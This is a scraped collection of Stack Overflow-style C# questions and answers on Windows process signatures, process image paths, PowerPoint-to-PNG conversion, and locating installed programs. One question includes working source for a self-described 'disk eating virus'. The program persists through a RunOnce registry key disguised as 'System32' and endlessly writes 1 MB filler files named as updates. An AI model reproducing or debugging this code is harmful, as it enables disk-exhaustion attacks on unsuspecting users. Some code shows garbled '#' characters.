Hi i've wrote this method in C# that checks all windows processes for digital signatures. Howver, it tells me that File doesn't contain a definiton for GetDigitalSignatures.
void DriverCheck()
{
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
try
{
// Check if the process has a main module
if (process.MainModule != null)
{
// Check if the main module has a digital signature
bool isSigned = File.GetDigitalSignatures(process.MainModule.FileName).Length > 0;
if (isSigned)
{
// The main module is signed
// You can also get the certificate that was used to sign the file using the following code:
}
else
{
// The main module is not signed
}
}
}
catch (System.ComponentModel.Win32Exception)
{
// The process does not have a main module
}
}
}
can someone help me?
I tried finding a namespace that contains those but didn't suceed.
You can try something like this.
using System;
using System.IO;
using System.Windows.Forms; // I have this here, because I wanted to make a WinForm app
using System.Security.Cryptography.X509Certificates;
// rest of the code - form.load, checking the signature
// on button click, displaying the info in a multiline textbox, etc
string curFile = txtPath.Text.Trim(); // I'm reading the path from a textbox
if(File.Exists(curFile))
{
try
{
byte[] fileBytes = File.ReadAllBytes(curFile);
X509Certificate cert = new X509Certificate(fileBytes);
byte[] signature = cert.GetRawCertData();
string extraInfo = "Subject: " + cert.Subject + "\r\n------\r\nIssuer: " + cert.Issuer;
txtResult.Text = extraInfo;
} catch (Exception ex)
{
txtResult.Text = DateTime.Now.ToString("HH:mm:ss") + "\r\nException: " + ex.Message;
}
} else
{
txtResult.Text = "Signature not found";
}
This is how it would look in a tiny WinForm app, made just for this.
The case when the file doesn't have a digital signature is handled in the Exception. You might want to change that for your specific use case, as you would for the way you get the file path (get all the processes, loop through them, check them individually, do something if a signature is not found, etc). For simplicity's sake, I went with a textbox solution and a GUI.
You could call signtool as external tool to validate the process signatures.
// Compile as x64 executable to be able to access 64-bit processes.
// Execute tool as Administrator to get access to more processes.
[DllImport("Kernel32.dll")]
static extern uint QueryFullProcessImageName(IntPtr hProcess, uint flags, StringBuilder text, out uint size);
// Get the path to a process excutable
// https://stackoverflow.com/a/46671939/1911064
private static string GetPathToApp(Process process)
{
string pathToExe = string.Empty;
if (null != process)
{
uint nChars = 256;
StringBuilder Buff = new StringBuilder((int)nChars);
uint success = QueryFullProcessImageName(process.Handle, 0, Buff, out nChars);
if (0 != success)
{
pathToExe = Buff.ToString();
}
else
{
int error = Marshal.GetLastWin32Error();
pathToExe = ("Error = " + error + " when calling GetProcessImageFileName");
}
}
return pathToExe;
}
static bool CheckIfSigned(string fileName)
{
bool ret = false;
if (File.Exists(fileName))
{
// https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool
// https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
// signtool.exe is part of Windows 10 SDK
var process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "signtool.exe",
Arguments = $"verify /all /pa /v {fileName}",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
};
process.Start();
while (!process.StandardOutput.EndOfStream)
{
var line = process.StandardOutput.ReadLine();
// Console.WriteLine(line);
if (line.StartsWith("Successfully verified:"))
{
Console.WriteLine("success!");
return true;
}
if (line.StartsWith("SignTool Error:"))
{
Console.WriteLine("error!");
return false;
}
if (line.StartsWith("Number of errors: 0"))
{
Console.WriteLine("should have announced success!");
return false;
}
if (line.StartsWith("Number of errors:"))
{
Console.WriteLine("Signtool found errors!");
return false;
}
}
Console.WriteLine($"Could not recognized signtool output for {fileName}");
}
else
{
Console.WriteLine($"File not found: {fileName}");
}
return ret;
}
static void DriverCheck()
{
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
try
{
if (!process.HasExited)
{
string processPath = GetPathToApp(process);
// Check if the process has a main module
if (null != processPath)
{
// Check if the main module has a digital signature
bool isSigned = CheckIfSigned(processPath);
if (isSigned)
{
Console.WriteLine($"signed: {process.MainModule.FileName}");
}
else
{
Console.WriteLine($"**NOT** signed: {process.MainModule.FileName}");
}
}
}
}
catch (System.ComponentModel.Win32Exception ex)
{
// The process does not have a main module?
Console.WriteLine($"Win32Exception for ID={process.Id} {process.ProcessName}: {ex.Message}");
}
catch(Exception ex)
{
Console.WriteLine($"Exception for ID={process.Id} {process.ProcessName}: {ex.Message}");
}
}
}
Related
I'm working on an application that should be able to show and retrieve information from all processes in the system.
I try to get the process full path using the function QueryFullProcessImageName but it fails with error 31 (A device attached to the system is not functioning), this happens only with new processes created after the program's first enumeration of the running processes.
This is the method that I use to get the full path:
public static string GetProcessFullPath(SafeProcessHandle Handle)
{
uint MaxPathLength = 1024;
StringBuilder ExePath = new StringBuilder(1024);
if (NativeMethods.Win32ProcessFunctions.QueryFullProcessImageName(Handle.DangerousGetHandle(), 0, ExePath, ref MaxPathLength))
{
return ExePath.ToString();
}
else
{
Win32Exception ex = new Win32Exception(Marshal.GetLastWin32Error());
Logger.WriteEntry(new LogEntry("Non è stato possibile recuperare il percorso completo dell'eseguibile di un processo, codice di errore: " + ex.NativeErrorCode + " (" + ex.Message + ")", EventSource.WindowsAPI, EventSeverity.Error));
return "Non disponibile";
}
}
This is the declaration of the function:
[DllImport("Kernel32.dll", EntryPoint = "QueryFullProcessImageNameW", SetLastError = true, CharSet = CharSet.Unicode)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool QueryFullProcessImageName(IntPtr ProcessHandle, uint PathType, StringBuilder ExePath, ref uint Characters);
I don't know what could be causing this error, I get notifications of new processes from WMI (Win32_ProcessStartTrace).
This is how I get the process handle that is used in the GetProcessFullPath method (the PID is from the WMI notification):
public static SafeProcessHandle GetProcessHandle(uint ProcessID)
{
IntPtr UnsafeProcessHandle = NativeMethods.Win32ProcessFunctions.OpenProcess(NativeMethods.Win32Enumerations.ProcessAccessRights.PROCESS_ALL_ACCESS, false, ProcessID);
if (UnsafeProcessHandle == IntPtr.Zero)
{
UnsafeProcessHandle = NativeMethods.Win32ProcessFunctions.OpenProcess(NativeMethods.Win32Enumerations.ProcessAccessRights.PROCESS_QUERY_LIMITED_INFORMATION, false, ProcessID);
if (UnsafeProcessHandle == IntPtr.Zero)
{
Win32Exception ex = new Win32Exception(Marshal.GetLastWin32Error());
Logger.WriteEntry(new LogEntry("Non è stato possibile aprire un processo, codice di errore: " + ex.NativeErrorCode + " (" + ex.Message + ")", EventSource.WindowsAPI, EventSeverity.Error));
return new SafeProcessHandle(UnsafeProcessHandle, true);
}
else
{
return new SafeProcessHandle(UnsafeProcessHandle, true);
}
}
else
{
return new SafeProcessHandle(UnsafeProcessHandle, true);
}
}
Edit:
Further testing indicated that the problem occurs even if the process whose full path I'm trying to get was already started when the function is called.
GetProcessImageFileName works but it returns the path in device form
and I need a Win32 path.
You can use GetLogicalDriveStrings and QueryDosDevice convert dos file path to windows file path.
Some code:
// dos file path => windows file path
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
{
TCHAR szDriveStr[500];
TCHAR szDrive[3];
TCHAR szDevName[100];
INT cchDevName;
INT i;
//Check the parameters
if (!pszDosPath || !pszNtPath)
return FALSE;
//Get local disk string
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr))
{
for (i = 0; szDriveStr[i]; i += 4)
{
if (!lstrcmpi(&(szDriveStr[i]), _T("A:\\")) || !lstrcmpi(&(szDriveStr[i]), _T("B:\\"))) { continue; }
szDrive[0] = szDriveStr[i];
szDrive[1] = szDriveStr[i + 1];
szDrive[2] = '\0';
// Query Dos device name
if (!QueryDosDevice(szDrive, szDevName, 100)) { return FALSE; }
// Hit
cchDevName = lstrlen(szDevName);
if (_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0) {
// Copy drive
lstrcpy(pszNtPath, szDrive);
// Copy path
lstrcat(pszNtPath, pszDosPath + cchDevName);
return TRUE;
}
}
}
lstrcpy(pszNtPath, pszDosPath);
return FALSE;
}
Then simply call,
GetProcessImageFileName(hProcess, szImagePath, MAX_PATH);
DosPathToNtPath(szImagePath,pszFullPath);
You can convert it to C# code.
The QueryFullProcessImageName function fails with ERROR_GEN_FAILURE (31 or 0x1f, "A device attached to the system is not functioning") if the process is a "zombie" process, i.e. the process terminated but not all handles to it were closed. In this case, you can still use QueryFullProcessImageNameW with the PROCESS_NAME_NATIVE flag to get the native path, but you probably just want to skip it since it's no longer running.
I have recently been attempting to make a disk eating virus to further my educational knowledge, and to further my skills in coding malicious things for whitehat hacking. Recently however the piece of code I have been working on is giving me MANY issues.
It runs perfectly when you launch the exe, but when its run from registry it gives the error. Access to path denied (C:\Windows\System32\parse.int)
I am confused as to why code is being run in the system32 location!?
__________________ CODE ________________________
using System;
using System.Runtime.InteropServices; // needed to hide console
using System.IO;
using Microsoft.Win32; // Registry
namespace diskeater
{
class Program
{
// stuff to let me hide it
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
static void Main(string[] args)
{
// Hide
//var handle = GetConsoleWindow();
// ShowWindow(handle, SW_HIDE);
//Hidden
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
const string keyName = userRoot + "\\" + subkey;
Registry.SetValue(keyName, "System32", "\"" + System.Windows.Forms.Application.ExecutablePath + "\"");
if (File.Exists("parse.int") == false) {
var temp = File.Create("parse.int");
temp.Close();
var temp2 = new StreamWriter("parse.int");
temp2.Write("0");
temp2.Close();
}
try {
string text, count;
int i;
try {
var intreader = new StreamReader("parse.int");
count = intreader.ReadToEnd();
intreader.Close();
text = new string('0', 1048576);
i = Convert.ToInt32(count);
while (true) {
try {
var sw = new StreamWriter("\\win32\\UpdateFile_" + i + ".dat");
sw.Write(text);
sw.Close();
var intcount = new StreamWriter("parse.int");
intcount.Write(i);
intcount.Close();
i++;
System.Threading.Thread.Sleep(250);
}
catch (DirectoryNotFoundException ex) {
Directory.CreateDirectory("\\win32");
Console.WriteLine(ex);//
}
}
} catch (FormatException ex) {
var intcount = new StreamWriter("parse.int");
intcount.Write("0");
intcount.Close();
Console.WriteLine(ex);//
}
} catch (FileNotFoundException ex) {
Console.WriteLine(ex);//
}
System.Threading.Thread.Sleep(1000000000); //
}
}
}
I have a program that converts .ppt or pptx files to png's using C# and the Microsoft.Office.Interop stuff.
It works most of the time, but under certain circumstances, it seems to fail on specific filenames for some nondescript reason.
HRESULT E_FAIL at ... Presentations.Open
It'll fail on CT_Stress_Test - Copy (16).pptx and CT_Stress_Test - Copy (11).pptx It works for (2) thru (19), but fails on only these two. My question is why?
If I were to make copies of these copies, or rename them to something else, it'll convert just fine, so I think it might have something to do with the filename.
I have the same conversion program running on my server and my local machine. My local machine (Win 7) converts the problem files just file. It's only on the server (Win 2008) that I have problems with these two filenames.
EDIT: I've found another number that doesn't work: (38)
EDIT: I formatted the strings with Path functions, and that didn't help.
EDIT: I was able to fix it by trimming all the spaces from the file names. I still want to know why this happens, though.
Here's the program:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.IO;
using Microsoft.Office.Core;
using PowerPoint = Microsoft.Office.Interop.PowerPoint;
using System.Diagnostics;
using System.Timers;
using System.Security.Permissions;
using System.Collections.Concurrent;
namespace converter
{
class Program
{
public static int threadLimit=0;
public static string inDir;
public static string outDir;
public static string procDir;
public static Thread[] converterThreads;
public static BlockingCollection<string> todo;
static void Main(string[] args)
{
todo = new BlockingCollection<string>();
inDir = args[0];
outDir = args[1]+"\\";
procDir = args[2]+"\\";
Int32.TryParse(args[3],out threadLimit);
converterThreads = new Thread[threadLimit];
FileSystemWatcher watcher = new FileSystemWatcher(inDir); //Watcher "thread"
watcher.Filter = "*.ppt*";
watcher.NotifyFilter = watcher.NotifyFilter | NotifyFilters.CreationTime;
watcher.IncludeSubdirectories = false;
watcher.Created += new FileSystemEventHandler(fileChanged);
watcher.EnableRaisingEvents = true;
//Create consumer threads
for(var i=0;i<threadLimit;i++)
{
Conversion con = new Conversion();
converterThreads[i] = new Thread(new ThreadStart(con.watchCollection));
converterThreads[i].Start();
}
//stay open
Console.ReadLine();
}
//Producer
private static void fileChanged(object sender, FileSystemEventArgs e)
{
if(!(e.FullPath.Contains("~$"))){ //Ignore temp files
Console.WriteLine("found =" + e.FullPath);
todo.Add(e.FullPath);
}
}
}
class Logger{
static void toLog(String msg)
{
//TODO: log file
}
}
//Consumer
class Conversion
{
String input;
String output;
String outDir;
String process;
String nameWith;
String nameWithout;
string dir;
static List<CorruptFile> cFiles = new List<CorruptFile>();
int retryLimit = 20;
public Conversion()
{
this.outDir = Program.outDir;
this.process = Program.procDir;
}
//Continually watches collection for files to take.
public void watchCollection()
{
while (true)
{
System.Threading.Thread.Sleep(1000);
try
{
dir = Program.todo.Take();
if (dir != null)
{
this.nameWithout = Path.GetFileNameWithoutExtension(dir);
this.nameWith = Path.GetFileName(dir);
this.output = Path.GetDirectoryName(dir) + Path.DirectorySeparatorChar + Path.GetFileNameWithoutExtension(dir);
Console.WriteLine("output = " + this.output);
this.input = Path.GetFullPath(dir);
Console.WriteLine("thread took " + this.nameWith);
convertPpt();
}
}
catch (InvalidOperationException) { }
}
}
public void convertPpt()
{
try
{
var app = new PowerPoint.Application();
var pres = app.Presentations;
var file = pres.Open(input, MsoTriState.msoFalse, MsoTriState.msoFalse, MsoTriState.msoFalse);
file.SaveAs(output, Microsoft.Office.Interop.PowerPoint.PpSaveAsFileType.ppSaveAsPNG, MsoTriState.msoTrue);
file.Close();
app.Quit();
Console.WriteLine("file converted " + input);
moveFile();
}
catch (Exception e)
{
Console.WriteLine("convertPpt failed " + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
Console.WriteLine("process killed");
}
}
catch (Exception e3)
{
}
try
{
if (!(cFiles.Any(x => x.fileName == dir)))
{
cFiles.Add(new CorruptFile(dir));
Console.WriteLine("file added to watch list");
Program.todo.Add(dir);
}
else
{
var found = cFiles.Find(x => x.fileName == dir);
Console.WriteLine("in watch list = " + found.fileName);
if (found.numRetry >= retryLimit)
{
Console.WriteLine(nameWith+ " to be ignored");
try
{
cFiles.Remove(found);
Console.WriteLine("File ignored");
System.Threading.Thread.Sleep(300);
Console.WriteLine("Moving: " + input);
if (File.Exists("C:\\corrupt\\" + nameWith))
{
File.Replace(input, "C:\\corrupt\\" + nameWith, null);
Console.WriteLine("file moved to C:\\corrupt\\");
}
else
{
File.Move(input, "C:\\corrupt\\" + nameWith);
Console.WriteLine("file moved to C:\\corrupt\\");
}
}
catch(Exception e5)
{
Console.WriteLine("could not move file " + e5);
}
}
else
{
Console.WriteLine("retrying file on watch list");
found.numRetry++;
Program.todo.Add(dir);
}
}
}
catch { }
}
moveDir();
}
public void moveFile()
{
Console.WriteLine("moving" + input);
try
{
System.Threading.Thread.Sleep(500);
Console.WriteLine(string.Format("moving {0} to {1}", input, process + nameWith));
if (File.Exists(process + nameWith))
{
File.Replace(input, process + nameWith, null);
}
else
{
File.Move(input, process + nameWith);
}
}
catch (Exception e)
{
Console.WriteLine(string.Format("Unable to move the file {0} ", input) + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
}
}
catch (Exception e3)
{
}
}
}
public void moveDir()
{
if(!Directory.Exists(output)){
return;
}
Console.WriteLine("moving dir " + output);
try
{
Console.WriteLine(string.Format("moving dir {0} to {1} ", output, outDir + nameWithout));
if (Directory.Exists(outDir + nameWithout))
{
Directory.Delete(outDir + nameWithout, true);
}
if (Directory.Exists(output))
{
Directory.Move(output, outDir + nameWithout);
}
}
catch (Exception e)
{
Console.WriteLine(string.Format("Unable to move the directory {0} ", output) + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
}
}
catch (Exception e3)
{
}
}
}
}
class CorruptFile{
public string fileName;
public int numRetry;
public CorruptFile(string fn){
fileName = fn;
}
}
}
First up is a warning from Microsoft in this KB article here. Money quote is:
Microsoft does not currently recommend, and does not support,
Automation of Microsoft Office applications from any unattended,
non-interactive client application or component (including ASP,
ASP.NET, DCOM, and NT Services), because Office may exhibit unstable
behaviour and/or deadlock when Office is run in this environment.
Next question is why not use OpenXML for this? Here's a simple sample to get you started which counts the number of slides in a deck.
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Packaging;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
namespace OpenXmlDemo
{
class PptOpenXmlDemo
{
public int PptGetSlideCount(string fileName)
{
// Return the number of slides in a PowerPoint document.
const string documentRelationshipType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument";
const string presentationmlNamespace = "http://schemas.openxmlformats.org/presentationml/2006/main";
int returnValue = 0;
using (Package pptPackage = Package.Open(fileName, FileMode.Open, FileAccess.Read))
{
// Get the main document part (presentation.xml).
foreach (System.IO.Packaging.PackageRelationship relationship in pptPackage.GetRelationshipsByType(documentRelationshipType))
{
// There should be only a single relationship that refers to the document.
Uri documentUri = PackUriHelper.ResolvePartUri(new Uri("/", UriKind.Relative), relationship.TargetUri);
PackagePart documentPart = pptPackage.GetPart(documentUri);
// Get the slide part from the package.
if (documentPart != null)
{
XmlDocument doc = new XmlDocument();
doc.Load(documentPart.GetStream());
// Manage namespaces to perform XPath queries.
XmlNamespaceManager nsManager = new XmlNamespaceManager(doc.NameTable);
nsManager.AddNamespace("p", presentationmlNamespace);
// Retrieve the list of slide references from the document.
XmlNodeList nodes = doc.SelectNodes("//p:sldId", nsManager);
if (nodes != null)
{
returnValue = nodes.Count;
}
}
// There is only one officeDocument part. Get out of the loop now.
break;
}
}
return returnValue;
}
}
}
I am writing a module which will be executing any kind of shell commands related to Active Directory and other shell commands on a particular domain controller.
Some of command are working but some of commands are not working properly.
Here is the code
public static void ExecuteShellCommand(string _FileToExecute, string _CommandLine, ref string _outputMessage, ref string _errorMessage)
{
System.Diagnostics.Process _Process = null;
try
{
_Process = new System.Diagnostics.Process();
string _CMDProcess = string.Format(System.Globalization.CultureInfo.InvariantCulture, #"{0}\cmd.exe", new object[] { Environment.SystemDirectory });
string _Arguments = string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}", new object[] { _FileToExecute });
_Arguments = string.Format(" /C \"{0}\"", _Arguments);
Console.WriteLine("---aruguments quering : cmd.exe" + _Arguments);
System.Diagnostics.ProcessStartInfo _ProcessStartInfo = new System.Diagnostics.ProcessStartInfo(_CMDProcess, _Arguments);
_ProcessStartInfo.CreateNoWindow = true;
_ProcessStartInfo.UseShellExecute = false;
_ProcessStartInfo.RedirectStandardOutput = true;
_ProcessStartInfo.RedirectStandardInput = true;
_ProcessStartInfo.RedirectStandardError = true;
_Process.StartInfo = _ProcessStartInfo;
//_ProcessStartInfo.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;
_Process.Start();
_errorMessage = _Process.StandardError.ReadToEnd();
_Process.WaitForExit();
_outputMessage = _Process.StandardOutput.ReadToEnd();
_Process.WaitForExit();
}
catch (Exception _Exception)
{
Console.WriteLine("Exception caught in process: {0}", _Exception.ToString());
}
finally
{
_Process.Close();
_Process.Dispose();
_Process = null;
}
}
CommandExecutionEngine.ExecuteShellCommand("nltest", "/logon_query /server:india.cobra.net", ref output, ref error);
Console.WriteLine("output for dir : " + output + " error : " + error);
Commands:
repadmin /showrepl
dcdiag
dcdiag /s:<dcname
command nltest executing but not returning any result. Where the other mentioned commands giving error is not recognized as internal or external command. Where if I execute command directly from console its working fine.
Here I am invoking a process under the context of domain administrator account so that I will not be have any permission issues.
Please suggest.
Possibly since UseShellExecute = false, the application location is not being found. Use the full path.
I have the following code fragment that starts a Google Earth process using a hardcoded path:
var process =
new Process
{
StartInfo =
{
//TODO: Get location of google earth executable from registry
FileName = #"C:\Program Files\Google\Google Earth\googleearth.exe",
Arguments = "\"" + kmlPath + "\""
}
};
process.Start();
I want to programmatically fetch the installation location of googleearth.exe from somewhere (most likely the registry).
Obviously if you're opening a specific file associated with the program then launching it via the file is preferable (for instance, the user might have a program associated with the file type they prefer to use).
Here is a method I've used in the past to launch an application associated with a particular file type, but without actually opening a file. There may be a better way to do it.
static Regex pathArgumentsRegex = new Regex(#"(%\d+)|(""%\d+"")", RegexOptions.ExplicitCapture);
static string GetPathAssociatedWithFileExtension(string extension)
{
RegistryKey extensionKey = Registry.ClassesRoot.OpenSubKey(extension);
if (extensionKey != null)
{
object applicationName = extensionKey.GetValue(string.Empty);
if (applicationName != null)
{
RegistryKey commandKey = Registry.ClassesRoot.OpenSubKey(applicationName.ToString() + #"\shell\open\command");
if (commandKey != null)
{
object command = commandKey.GetValue(string.Empty);
if (command != null)
{
return pathArgumentsRegex.Replace(command.ToString(), "");
}
}
}
}
return null;
}
Sometimes though there are cases when you want to launch a specific program without opening a file. Usually (hopefully) the program has a registry entry with the install location. Here is an example of how to launch Google Earth in such a manner.
private static string GetGoogleEarthExePath()
{
RegistryKey googleEarthRK = Registry.CurrentUser.OpenSubKey(#"Software\Google\Google Earth Plus\");
if (googleEarthRK != null)
{
object rootDir = googleEarthRK.GetValue("InstallLocation");
if (rootDir != null)
{
return Path.Combine(rootDir.ToString(), "googleearth.exe");
}
}
return null;
}
From the example given you can gauge that I'm actually trying to pass a KML file to Google Earth. Because of this, the simplest way of resolving this problem is relying on the file association of KML with Google Earth and using the following as a replacement for the entire example:
Process.Start(kmlPath);
This was found by reviewing the answers to this question.
This would also work: (C# code)
Type type = Type.GetTypeFromProgID("WindowsInstaller.Installer");
Installer msi = (Installer)Activator.CreateInstance(type);
foreach (string productcode in msi.Products)
{
string productname = msi.get_ProductInfo(productcode, "InstalledProductName");
if (productname.Contains("Google Earth"))
{
string installdir = msi.get_ProductInfo(productcode, "InstallLocation");
Console.WriteLine("{0}: {1} #({2})", productcode, productname, installdir);
}
}
Here's a C++ version I just had to write. Taken directly from ICR's C# version.
void PrintString(CString string)
{
std::wcout << static_cast<LPCTSTR>(string) << endl;
}
CString GetClassesRootKeyValue(const wchar_t * keyName)
{
HKEY hkey;
TCHAR keyNameCopy[256] = {0};
_tcscpy_s(keyNameCopy, 256, keyName);
BOOL bResult = SUCCEEDED(::RegOpenKey(HKEY_CLASSES_ROOT, keyNameCopy, &hkey));
CString hkeyValue = CString("");
if (bResult) {
TCHAR temporaryValueBuffer[256];
DWORD bufferSize = sizeof (temporaryValueBuffer);
DWORD type;
bResult = SUCCEEDED(RegQueryValueEx(hkey, _T(""), NULL, &type, (BYTE*)temporaryValueBuffer, &bufferSize)) && (bufferSize > 1);
if (bResult) {
hkeyValue = CString(temporaryValueBuffer);
}
RegCloseKey(hkey);
return hkeyValue;
}
return hkeyValue;
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
_tprintf(_T("Fatal Error: MFC initialization failed\n"));
nRetCode = 1;
}
else
{
CString dwgAppName = GetClassesRootKeyValue(_T(".dwg"));
PrintString(dwgAppName);
dwgAppName.Append(_T("\\shell\\open\\command"));
PrintString(dwgAppName);
CString trueViewOpenCommand = GetClassesRootKeyValue(static_cast<LPCTSTR>(dwgAppName));
PrintString(trueViewOpenCommand);
// Shell open command usually ends with a "%1" for commandline params. We don't want that,
// so strip it off.
int firstParameterIndex = trueViewOpenCommand.Find(_T("%"));
PrintString(trueViewOpenCommand.Left(firstParameterIndex).TrimRight('"').TrimRight(' '));
cout << "\n\nPress <enter> to exit...";
getchar();
}
}